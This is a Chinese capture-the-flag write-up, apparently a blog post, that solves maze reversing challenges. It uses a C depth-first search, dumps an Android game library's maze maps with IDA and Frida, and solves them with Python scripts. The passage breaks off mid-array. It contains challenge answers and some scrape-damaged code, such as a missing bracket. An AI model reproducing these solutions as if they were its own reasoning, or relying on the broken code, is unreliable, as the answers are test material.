{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 2, }, };
 
int mark[40][40] = { 0 };
char way[400];
int index = 0;
 
void check(int x, int y)
{
    if (map[x][y] == 2 && index == 75)
    {
        printf("\nway: %s\n", way);
 
        printf("\n%d", index);
        //exit(0);
    }
}
void dfs(int x, int y)
{
    int xnew = 0, ynew = 0;
    check(x, y);//判断走到终点。
 
    xnew = x - 1;
    ynew = y-1;
 
    if (xnew >= 0 && xnew < 40 && ynew >= 0 && ynew < 40 && map[xnew][ynew] != 1 && mark[xnew][ynew] != 1)//不能越界,不能撞墙,不能走以访问路线。
    {
        way[index++] = 'w';//保存路线,以便输出路线。
        mark[x][y] = 1;//标记以访问路线,避免重复访问。
        dfs(xnew, ynew);
        mark[x][y] = 0;//如果该路不能到达终点,回溯时要将标记还原。
        way[--index] = ' ';//路线走不通,还原。
    }
 
    xnew = x-1;
    ynew = y + 1;
    if (xnew >= 0 && xnew < 40 && ynew >= 0 && ynew < 40 && map[xnew][ynew] != 1 && mark[xnew][ynew] != 1)
    {
        way[index++] = 'd';
        mark[x][y] = 1;
        dfs(xnew, ynew);
        mark[x][y] = 0;
        way[--index] = ' ';
    }
 
    xnew = x + 1;
    ynew = y+1;
    if (xnew >= 0 && xnew < 40 && ynew >= 0 && ynew < 40 && map[xnew][ynew] != 1 && mark[xnew][ynew] != 1)
    {
        way[index++] = 's';
        mark[x][y] = 1;
        dfs(xnew, ynew);
        mark[x][y] = 0;
        way[--index] = ' ';
    }
 
    xnew = x + 1 ;
    ynew = y - 1;
    if (xnew >= 0 && xnew < 40 && ynew >= 0 && ynew < 40 && map[xnew][ynew] != 1 && mark[xnew][ynew] != 1)
    {
        way[index++] = 'a';
        mark[x][y] = 1;
        dfs(xnew, ynew);
        mark[x][y] = 0;
        way[--index] = ' ';
    }
 
 
 
}
int main()
{
    map[29][19] = 0;
    map[39][39] = 1;
    map[39][33] = 2;
 
    dfs(2, 2);
}
 
way: dssaaasasssdsddddwddssasaaassdsssaasssddssasaassaaassdsdsssaaassddddsdssasa
 
75

然后32位小写md5加密即可。

InvisiableMaze

先ida找到map的偏移(0x25604)

 

image 20221119160459673

 

同时容易得出该迷宫大小为40x40=1600。然后动态调试,找到so库的基址,然后frida来dump出map,这里记录为文件map0

 

image 20221119154342963

 

十六进制查看:

 

image 20221119155239404

 

写大小为40x40的解迷宫python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
maze0 = [
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,],
[0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,],
[1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,0,1,1,],
[1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,],
[1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,],
[1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1,1,1,],
[1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,],
[1,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,],
[1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,],
[1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,],
[1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,],
[1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,],
[1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,],
[1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,],
[1,0,0,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,],
[1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,1,],
[1,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,1,1,],
[1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,],
[1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,],
[1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,1,],
[1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,],
[1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,1,1,],
[1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,],
[1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,],
[1,1,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,],
[1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,],
[1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,],
[1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,],
[1,1,0,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,],
[1,0,1,1,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,],
[1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,],
[1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,],
[1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,0,1,],
[1,0,1,0,1,1,0,0,1,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,],
[1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,],
[1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,],
[1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,]
]
 
dirs = [
    lambda x, y: (x + 1, y),
    lambda x, y: (x - 1, y),
    lambda x, y: (x, y - 1),
    lambda x, y: (x, y + 1)
]
 
def getPath(maze,x1,y1,x2,y2):
    stack = []
    path = []
    shorts = []
    stack.append((x1,y1))
    while len(stack)>0:
        curNode = stack[-1#当前的节点
        if curNode[0] == x2 and curNode[1] == y2:
            X1 = x1
            Y1 = y1
            for p in stack:
                if p[0] != X1:
                    if p[0] - 1 == X1:
                        path.append("down") #down 0
                    else:
                        path.append("up") #up d
                if p[1] != Y1:
                    if p[1] - 1 == Y1:
                        path.append("right") #right 3
                    else:
                        path.append("left") #left g
                X1 = p[0]
                Y1 = p[1]
            print("xyPosition:\n",stack)
            print("stepPosition:\n",path)
            Tmp = ''
            for d in path:
                if d!=Tmp:
                    shorts.append(d)
                    Tmp = d      
            print("step:\n",shorts)
            print("control:\n",'-'.join(shorts))
            return stack,path    #Ture
 
        for di in dirs:
            nextNode = di(curNode[0],curNode[1])  #如果下一个结点可以走
            if maze[nextNode[0]][nextNode[1]] ==0:
                stack.append(nextNode)
                maze[nextNode[0]][nextNode[1]] = 2  #标记为已经走过
                break
        else:
            maze[nextNode[0]][nextNode[1]] = 2
            stack.pop()
    else:
        print("noWay")
        return False
#解出map0的路线
getPath(maze0,1,0,38,39)

control:
right-down-right-up-right-down-right-down-right-down-right-down-right-down-left-down-left-down-right-down-right-down-right-down-right-up-right-down-right-down-left-down-left-down-left-down-left-down-left-down-right-down-left-down-left-down-right-down-right-up-right-down-right-up-right-down-right-down-right-up-right-down-right-up-right-down-right

 

​```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
![image 20221119161552604](https://s1.ax1x.com/2022/11/30/zwhPZn.png)
 
解完迷宫,在游戏里面走了一下,
 
![image 20221119162325954](https://s1.ax1x.com/2022/11/30/zwhiaq.png)
 
发现在人物走到步骤“xxx-down-left”的位置后,后面步骤全然不通。猜想迷宫地图变了。
 
这时,用相同的方法dump出新的地图map1,并且修复新dump出的map1,因为在走map0时,跳转到map1,且走了错误的map1,修复就回退走的路设置10
 
![image 20221119163304300](https://s1.ax1x.com/2022/11/30/zwfvRS.png)
 
![image 20221119163215444](https://s1.ax1x.com/2022/11/30/zwfLIP.md.png)
 
修复map1后,并再次解迷宫。
 
```python
maze1 = [
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,],
[0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,],
[1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,],
[1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,],
[1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,],
[1,0,1,0,1,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,],
[1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,],
[1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,],
[1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,],
[1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,],
[1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,],
[1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,],
[1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,],
[1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,],
[1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,],
[1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,],
[1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,],
[1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,1,],
[1,0,1,0,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,0,1,],
[1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,],
[1,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,],
[1,0,0,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,],
[1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,],
[1,1,1,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,],
[1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,],
[1,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,],
[1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,],
[1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,],
[1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,],
[1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,],
[1,1,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,],
[1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,],
[1,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,],
[1,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,1,1,0,1,],
[1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,],
[1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,1,1,1,],
[1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,],
[1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,],
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,]  
]
 
dirs = [
    lambda x, y: (x + 1, y),
    lambda x, y: (x - 1, y),
    lambda x, y: (x, y - 1),
    lambda x, y: (x, y + 1)
]
 
def getPath(maze,x1,y1,x2,y2):
    stack = []
    path = []
    shorts = []
    stack.append((x1,y1))
    while len(stack)>0:
        curNode = stack[-1#当前的节点
        if curNode[0] == x2 and curNode[1] == y2:
            X1 = x1
            Y1 = y1
            for p in stack:
                if p[0] != X1:
                    if p[0] - 1 == X1:
                        path.append("down") #down 0
                    else:
                        path.append("up") #up d
                if p[1] != Y1:
                    if p[1] - 1 == Y1:
                        path.append("right") #right 3
                    else:
                        path.append("left") #left g
                X1 = p[0]
                Y1 = p[1]
            print("xyPosition:\n",stack)
            print("stepPosition:\n",path)
            Tmp = ''
            for d in path:
                if d!=Tmp:
                    shorts.append(d)
                    Tmp = d      
            print("step:\n",shorts)
            print("control:\n",'-'.join(shorts))
            return stack,path    #Ture
 
        for di in dirs:
            nextNode = di(curNode[0],curNode[1])  #如果下一个结点可以走
            if maze[nextNode[0]][nextNode[1]] ==0:
                stack.append(nextNode)
                maze[nextNode[0]][nextNode[1]] = 2  #标记为已经走过
                break
        else:
            maze[nextNode[0]][nextNode[1]] = 2
            stack.pop()
    else:
        print("noWay")
        return False
#解出map1的路线
getPath(maze1,1,0,38,39)

image 20221119163808937

 

将地图一二相同的路线坐标输出,得出共同坐标。然后合并路线。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#使用栈来存储路径
maze0 = [
[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,],
[0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,],
[1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,0,1,1,],
[1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,],
[1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,],
[1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,1,1,1,],
[1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,],
[1,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,],
[1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,],
[1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,],
[1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,],
[1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,],
[1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,],
[1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,1,1,],
[1,0,0,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,],
[1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,1,],
[1,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,1,1,],
[1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,],
[1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,],
[1,1,1,0,1,0,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,1,],
[1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,],
[1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,1,1,],
[1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,],
[1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1,],
[1,1,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,],
[1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,],
[1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,0,1,],
[1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,],
